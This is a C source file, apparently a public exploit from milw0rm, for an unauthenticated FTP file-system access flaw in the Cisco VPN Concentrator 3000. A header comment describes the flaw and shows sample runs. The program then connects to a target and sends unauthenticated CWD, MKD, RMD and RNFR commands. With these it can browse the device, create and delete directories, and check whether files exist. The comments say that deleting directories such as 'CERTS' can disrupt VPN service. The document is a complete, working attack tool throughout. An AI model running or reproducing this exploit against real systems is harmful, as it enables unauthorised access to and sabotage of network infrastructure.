/* Cisco VPN Concentrator 3000 FTP remote exploit
* ==============================================
* A vulnerability exists in the Cisco VPN Concentrator 3000,
* an unauthenticated user may access the file system through
* manipulation of FTP service commands. An unauthenticated
* user can use the following commands;
*
* CWD - Change the current working directory
* MKD - Make a directory within the current working directory
* CDUP - Change directory up one tree.
* RNFR - Rename From (This can be used to identify files and directories)
* SIZE - This can be used to identify files and directories
* RMD - This can be used to delete a directory
*
* The FTP service remembers the current working directory so directory
* changes can affect exploitation. By removing potentially sensitive
* directories such as "CERTS" it may be possible to disrupt service
* to a VPN.
*
* Confirmed Vulnerable
* + Cisco Systems Inc./VPN 3000 concentrator Version 4.1.5 RelJun 18 2004
*
* Example.
* localhost exploits # ./prdelka-vs-CISCO-vpnftp -s 10.1.2.10 -c /
* [ Cisco VPN Concentrator 3000 FTP service exploit
* [ Connected to 10.1.2.10 (21/tcp)
* [ Changing directory to /
* [ Success! changed directory to /
* localhost exploits # ./prdelka-vs-CISCO-vpnftp -s 10.1.2.10 -t config
* [ Cisco VPN Concentrator 3000 FTP service exploit
* [ Connected to 10.1.2.10 (21/tcp)
* [ Testing for the existance of config
* [ Success! file config does exist!
*
*
* - prdelka
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <getopt.h>
#include <signal.h>
int main (int argc, char *argv[]){
int ihost=0,index=0,imkdir=0,ichdir=0,idelete=0,itest=0,ipass=0,port=21;
int c, sd, rc, size;
char *host, *directory, *file, *buffer, *rbuffer;
struct sockaddr_in servAddr;
struct hostent *h;
static struct option options[]={
{"server", 1, 0, 's'},
{"port", 1, 0, 'p'},
{"rmdir", 1, 0, 'r'},
{"mkdir", 1, 0, 'm'},
{"chdir", 1, 0, 'c'},
{"test", 1, 0, 't'},
{"help", 0, 0,'h'}
};
printf("[ Cisco VPN Concentrator 3000 FTP service exploit\n");
while(c != -1){
c = getopt_long(argc,argv,"s:p:r:m:c:t:h",options,&index);
switch(c){
case 's':
if(ihost==0){
h = gethostbyname(optarg);
if(h==NULL){
printf("[ Error unknown host '%s'\n",optarg);
exit(1);
}
host = malloc(strlen(optarg) + 1);
sprintf(host,"%s",optarg);
ihost = 1;
}
break;
case 'p':
port = atoi(optarg);
break;
case 'r':
if(idelete==0){
if(ipass!=1){
ipass = 1;
idelete = 1;
directory = optarg;
}
else{
printf("[ Error: cannot delete directory as another option already selected\n");
exit(1);
}
}
break;
case 'c':
if(ichdir==0){
if(ipass!=1){
ipass = 1;
ichdir = 1;
directory = optarg;
}
else{
printf("[ Error: cannot change dir as another option already selected\n");
exit(2);
}
}
break;
case 't':
if(itest==0){
if(ipass!=1){
ipass = 1;
itest = 1;
file = optarg;
}
else{
printf("[ Error: cannot test for existance as another option already selected\n");
exit(3);
}
}
break;
case 'm':
if(imkdir==0){
if(ipass!=1){
ipass = 1;
imkdir = 1;
directory = optarg;
}
else{
printf("[ Error: cannot make directory as another option already selected\n");
exit(4);
}
}
break;
case 'h':
printf("[ Usage instructions.\n[\n");
printf("[ %s <required> (optional)\n[\n",argv[0]);
printf("[\t--server|-s <ip/hostname>\n[\t--port|-p (port) [default 21]\n[\t--rmdir|-r (directory)\n[\t--mkdir|-m (directory)\n");
printf("[\t--chdir|-c (directory)\n[\t--test|-t (filename/directory)\n[\n");
exit(0);
break;
default:
break;
}
}
if(ihost != 1 || ipass != 1){
printf("[ Error insufficient arguements, try running '%s --help'\n",argv[0]);
exit(1);
}
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
servAddr.sin_port = htons(port);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0){
printf("[ Cannot open socket\n");
exit(1);
}
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
if(rc<0){
printf("[ Cannot connect\n");
exit(1);
}
printf("[ Connected to %s (%d/tcp)\n",host,port);
rbuffer = malloc(1024);
if(ichdir==1){
printf("[ Changing directory to %s\n",directory);
size = 2048 + strlen(directory);
buffer = malloc(size);
sprintf(buffer,"CWD %s\r\n",directory);
rc = send(sd, buffer, strlen(buffer),0);
while((rc = recv(sd, rbuffer,1023,0)) != -1){
rbuffer[rc]=0;
if(strstr(rbuffer,"250 Changed to .") != NULL){
printf("[ Success! changed directory to %s\n",directory);
break;
}
if(strstr(rbuffer,"530 Can't change directory to") != NULL){
printf("[ Error! cannot set current directory to %s\n",directory);
exit(-1);
}
}
}
if(imkdir==1){
printf("[ Making directory %s\n",directory);
size = 2048 + strlen(directory);
buffer = malloc(size);
sprintf(buffer,"MKD %s\r\n",directory);
rc = send(sd, buffer, strlen(buffer),0);
while((rc = recv(sd, rbuffer,1023,0)) != -1){
rbuffer[rc]=0;
if(strstr(rbuffer,"257 MKD command successful.") != NULL){
printf("[ Success! directory %s created\n",directory);
break;
}
}
}
if(idelete==1){
printf("[ Deleting directory %s\n",directory);
size = 2048 + strlen(directory);
buffer = malloc(size);
sprintf(buffer,"RMD %s\r\n",directory);
rc = send(sd, buffer, strlen(buffer),0);
while((rc = recv(sd, rbuffer,1023,0)) != -1){
rbuffer[rc]=0;
if(strstr(rbuffer,"250 RMD command successful.") != NULL){
printf("[ Success! directory %s deleted\n",directory);
break;
}
}
}
if(itest==1){
printf("[ Testing for the existance of %s\n",file);
size = 2048 + strlen(file);
buffer = malloc(size);
sprintf(buffer,"RNFR %s\r\n",file);
rc = send(sd, buffer,strlen(buffer),0);
while((rc = recv(sd, rbuffer,1023,0)) != -1){
rbuffer[rc]=0;
if(strstr(rbuffer,"350 RNFR accepted - file exists, ready for destination.") != NULL){
printf("[ Success! %s does exist!\n",file);
break;
}
if(strstr(rbuffer,"550 File does not exist!") != NULL){
printf("[ Success! %s does not exist\n",file);
break;
}
}
}
exit(0);
}
// milw0rm.com [2006-10-24]